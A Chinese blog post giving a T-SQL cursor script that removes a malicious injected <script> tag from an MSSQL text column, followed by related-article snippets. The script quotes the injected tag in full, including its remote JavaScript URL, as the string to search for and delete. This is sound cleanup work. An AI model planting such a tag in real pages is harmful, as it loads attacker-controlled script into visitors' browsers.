替换MSSQL数据库text字段恶意脚本

删除MSSQL数据库text字段的替换处理示例--全表替换,看到有人提问,所以整理了一个好久以前的处理方法,以供大家参考
方法很简单:text字段不能使用Replace,所以使用patindex

-select * from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
--text字段的替换处理示例--全表替换
-- select datalength(P_Intro),* from Product
--邀月 整理
--定义替换的字符串
declare @s_str nvarchar(4000),@d_str nvarchar(4000)
select @s_str='<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>' --要替换的字符串
,@d_str='' --替换成的字符串

--因为只能用patindex,所以对于搜索字符串做处理
set @s_str='%'+@s_str+'%'
--定义游标,循环处理数据
declare @id bigint
declare #tb cursor for select P_ID from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
-- where P_ID=300727 ----where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
open #tb
fetch next from #tb into @id
while @@fetch_status=0
begin
--字符串替换处理
declare @p varbinary(16)
,@p1 int,@p2 int
,@rplen int,@step int,@len int
select @p=textptr(P_Intro)
,@rplen=len(@s_str)-2
,@step=len(@d_str)
,@p1=patindex(@s_str,P_Intro)
,@len=datalength(P_Intro)
,@p2=0
from Product
where P_id=@id
while @p1>0
begin
set @p2=@p1+@p2-1
updatetext Product.P_Intro @p @p2 @rplen @d_str
select @p2=@p2+1,@p1=patindex(@s_str,substring(P_Intro,@p2+1,@len))
from Product where P_ID=@id
end
fetch next from #tb into @id
end
close #tb
deallocate #tb
--显示结果
---- select datalength(P_Intro),* from Product

时间: 2024-10-31 10:28:57

替换MSSQL数据库text字段恶意脚本的相关文章

除MSSQL数据库text字段中恶意脚本的删方法_MsSql

方法很简单:text字段不能使用Replace,所以使用patindex 复制代码 代码如下: -select * from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%' --text字段的替换处理示例--全表替换 -- select datal

除MSSQL数据库text字段中恶意脚本的删方法

方法很简单:text字段不能使用Replace,所以使用patindex 复制代码 代码如下: -select * from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%' --text字段的替换处理示例--全表替换 -- select datal

mysql数据库text字段排序实现语句

mysql中,默认对text字段进行排序的话是按text字段的首字符进行排序,即假如某表结构如下: 如果默认对此text类型的字段进行排序的话,如select * from table order by f1 asc. 结果可能如下图这样: 发现mysql对text类型的字段排序时只对首字符进行排序,并不是我们所预期的结果(按数字大小排序). 所以如果想要解决这个问题,我们可以使用mysql的一个内置函数:cast,CAST ( expression AS data_type ).cast是一个

MSSQL数据库获取TEXT字段的内容长度_MsSql

SQL Server数据库如何获取TEXT字段的内容长度的方法,是通过DATALENGTH函数来实现的,接下来我们就通过DATALENGTH函数的语法及使用实例来了解一下这部分内容. DATALENGTH用来返回任何表达式所占用的字节数. 语法:DATALENGTH ( expression ) 参数:expression,任何类型的表达式. 返回类型:int 注释:DATALENGTH 对 varchar.varbinary.text.image.nvarchar 和 ntext 数据类型特别

MSSQL数据库获取TEXT字段的内容长度

SQL Server数据库如何获取TEXT字段的内容长度的方法,是通过DATALENGTH函数来实现的,接下来我们就通过DATALENGTH函数的语法及使用实例来了解一下这部分内容. DATALENGTH用来返回任何表达式所占用的字节数. 语法:DATALENGTH ( expression ) 参数:expression,任何类型的表达式. 返回类型:int 注释:DATALENGTH 对 varchar.varbinary.text.image.nvarchar 和 ntext 数据类型特别

批量替换sqlserver数据库挂马字段并防范sql注入攻击的代码

首先备份数据库,以防不必要的损失.而后对所有被挂马的小于8000字符的varchar字段执行 复制代码 代码如下: update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') 其中<Script Src=http://c.n%75clear3.com/css/c.js></Script>为挂马字段.执行后挂马字段被清除.但是有部分字段,比

数据库 vs2012-vs2012中建的数据库,类型为text 字段,中文存进去显示的是问号,请问如何解决?

问题描述 vs2012中建的数据库,类型为text 字段,中文存进去显示的是问号,请问如何解决? vs2012中建的数据库,类型为text 字段,中文存进去显示的是问号,请问如何解决? 解决方案 字符编码问题,修改表的编码类型,或是在插入前做编码

通过php脚本来查找并替换mysql数据库中的文本

发现一个好东东,可以通过php脚本来查找并替换mysql数据库中的文本. 对需要从已有的数据库中替换旧网址的用户来说,比较简单.实用. 项目地址:https://code.launchpad.net/~sewmyheadon/mysql-search-replace/trunk

编码-sql数据库,类型为text 字段,中文存进去显示的是问号,请问如何解决?

问题描述 sql数据库,类型为text 字段,中文存进去显示的是问号,请问如何解决? sql数据库,类型为text 字段,中文存进去显示的是问号,请问如何解决?有人说是提前做好编码工作,但是该怎样编码 解决方案 希望能帮到你,以下是mysql数据库终端下操作的一些命令:查看数据库 'my_db' 的编码格式:show create database my_db; 查看数据表 'my_table' 的编码格式:show create table my_table;推荐使用utf-8编码格式:1:将